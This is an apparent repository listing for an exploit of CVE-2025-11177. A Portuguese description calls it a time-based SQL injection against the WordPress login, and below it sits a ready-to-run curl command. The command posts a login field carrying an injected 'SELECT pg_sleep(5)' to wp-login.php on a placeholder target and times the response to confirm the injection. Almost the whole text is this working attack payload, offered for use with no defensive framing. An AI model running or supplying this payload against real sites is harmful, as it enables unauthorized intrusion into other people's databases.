jfriedli/cve-2025-11177Exploit de injeção SQL baseada em tempo para CVE-2025-11177 direcionado ao login do WordPress com entrega de payload baseada em curl e detecção de temporização pg_sleep.
curl -w '\nTIME:%{time_total}\n' -s \
-d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
-d 'redirect_to=' \
-d 'testcookie=1' \
'http://{target}/wp-login.php'